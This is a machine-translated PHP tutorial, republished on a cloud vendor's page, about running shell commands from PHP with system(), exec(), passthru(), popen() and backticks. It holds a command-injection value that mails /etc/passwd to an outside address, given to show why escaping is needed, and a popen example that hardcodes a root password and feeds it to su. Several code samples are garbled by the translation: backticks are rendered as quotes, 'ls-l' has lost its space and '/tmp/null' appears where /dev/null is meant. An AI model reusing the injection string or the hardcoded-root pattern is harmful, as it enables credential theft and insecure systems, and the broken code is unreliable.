Execute system external command _php base in PHP

Source: Internet
Author: User
Tags php script
PHP as a server-side scripting language, like writing simple, or complex dynamic Web pages such tasks, it is fully competent. But things are not always the case, sometimes in order to implement a function, you have to rely on the operating system of external programs (or called commands), so you can do more with less.

So is it possible to invoke an external command in a PHP script? If you can, how to do it? What are some of the concerns? I am sure you will be able to answer these questions after reading this article.

Is it OK?

The answer is yes. PHP, like any other programming language, can simply invoke an external command within a program and is simple: just use one or several functions.

Prerequisite conditions

Because PHP is basically for web application development, security is an important aspect of people's thinking. So the PHP designers added a door to PHP: Safe mode. If you are running in Safe mode, the PHP script will be subject to the following four limitations:

Execute external command
There are some restrictions when opening files
Connecting to the MySQL database
HTTP-based Authentication
In safe mode, only external programs in a particular directory can be executed, and calls to other programs are rejected. This directory can be specified in the php.ini file using the Safe_mode_exec_dir directive, or in compiling PHP with the--with-exec-dir option, and the default is/usr/local/php/bin.

If you call an external command that should be able to output the result (meaning that the PHP script is not wrong) and get a blank, it is likely that your network administrator has already run PHP in safe mode.

How to do it?

Calling an external command in PHP can be implemented in three ways as follows:

1 specialized functions provided in PHP

PHP provides a total of 3 functions for executing external commands: System (), exec (), PassThru ().

System ()

Prototype: string system (String command [, int return_var])

The system () function is similar in other languages, it executes a given command, outputs, and returns results. The second parameter is optional and is used to get the status code after the command is executed.

Example:

?
System ("/usr/local/bin/webalizer/webalizer");
?>

EXEC ()

Prototype: string exec (String command [, string array [, int return_var]])

The exec () function is similar to system () and executes the given command without outputting the result, but instead returns the last line of the result. Although it returns only the last line of the command result, the complete result can be obtained with the second parameter array, by appending the result line by row to the end of the array. So if the array is not empty, it's best to use unset () to clear it before calling. You can use the third parameter to obtain the status code of the command execution only if you specify the second parameter.

Example:

?
EXEC ("/bin/ls-l");
EXEC ("/bin/ls-l", $res);
# $res is a data, each element represents a row of the result
EXEC ("/bin/ls-l", $res, $RC);
# $RC value is the status code of the command/bin/ls-l. In the case of success, it's usually 0.
?>

PassThru ()

Prototype: void PassThru (String command [, int return_var])

PassThru () invokes only the command and does not return any results, but outputs the command's running results directly to the standard output device. So the PassThru () function is often used to invoke programs such as the Pbmplus (a tool that processes images under UNIX, outputting the stream of binary raw images). Likewise it can get the status code of the command execution.

Example:

?
Header ("Content-type:image/gif");
PassThru ("./ppmtogif hunte.ppm");
?>

2 using the Popen () function to open the process

The above method simply executes the command, but cannot interact with the command. But there are times when you have to enter something into the command, such as adding a Linux system user to call Su to change the current user to root, and the SU command must enter the root password on the command line. In this case, it is obviously not possible to use the method mentioned above.

The Popen () function opens a process pipeline to execute the given command, returning a file handle. Now that you are returning a file handle, you can read and write to it. In PHP3, this handle can only be done in a single mode of operation, either written or read; Starting with PHP4, you can read and write at the same time. Unless the handle is open in a pattern (read or write), you must call the Pclose () function to close it.

Example 1:

?
$FP =popen ("/bin/ls-l", "R");
?>

Example 2 (This example is from the PHP China Alliance website http://www.phpx.com/show.php?d=col&i=51):

?
/* How to add a system user in PHP
Here's a routine that adds a user named James,
The root password is verygood. For reference only
*/
$sucommand = "Su--login root--command";
$useradd = "Useradd";
$ROOTPASSWD = "Verygood";
$user = "James";
$user _add = sprintf ("%s \%s%s\" ", $sucommand, $useradd, $user);
$fp = @popen ($user _add, "w");
@fputs ($fp, $ROOTPASSWD);
@pclose ($FP);
?>

3 with the reverse apostrophe (', that is, the ESC key on the keyboard below, and ~ on the same top)

This method has not been included in the PHP documentation before, as a sneak peek exists. The method is simple, using two apostrophes to enclose the command to be executed as an expression, the value of which is the result of the command execution. Such as:

?
$res = '/bin/ls-l ';
Echo ' <b><pre> '. $res. ' </pre></b> ';
?>

The output of this script is like this:

Hunte.gif
hunte.ppm
Jpg.htm
Jpg.jpg
passthru.php

What do you have to think about?

Two issues to consider: security and timeout.

Look at security first. For example, you have a small online store, so the list of products you can sell is placed in a file. You write an HTML file with a form, ask your users to enter their email address, and then send the product list to them. If you don't use the PHP mail (or never heard) function, you call the Linux/unix system's mail program to send the file. The program is like this:

?
System ("Mail $to < products.txt");
echo "Our catalogue has been sent to your mailbox: $to";
?>

With this code, there is no danger to the average user, but there are actually very large security vulnerabilities. If a malicious user enters such an email address:

'--bla; Mail someone@domain.com </etc/passwd; '

Then this order eventually becomes:

' Mail--bla; Mail someone@domain.com </etc/passwd; < Products.txt '

I believe that no matter which network manager sees such an order, will frighten a cold sweat to come.

Fortunately, PHP provides us with two functions: Escapeshellcmd () and Escapeshellarg (). function Escapeshellcmd to escape from a string all the characters that might have been hidden from the shell to execute another command. These characters have special meanings in the shell, like semicolons (), redirects (>), and read from files (<). The function escapeshellarg is used to handle the parameters of the command. It adds a single quotation mark around the given string and escapes the single quotation mark in the string so that the string can be safely used as a parameter to the command.

Let's look at the timeout problem again. If the command to execute takes a long time, you should put the command in the background of the system to run it. However, by default, functions such as system () wait until the command is finished running to return (actually the output of the command), which will certainly cause the PHP script to timeout. The solution is to redirect the output of the command to another file or stream, such as:

?
System ("/usr/local/bin/order_proc >/tmp/null &");
?>


Hunte on October 28, 2000

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.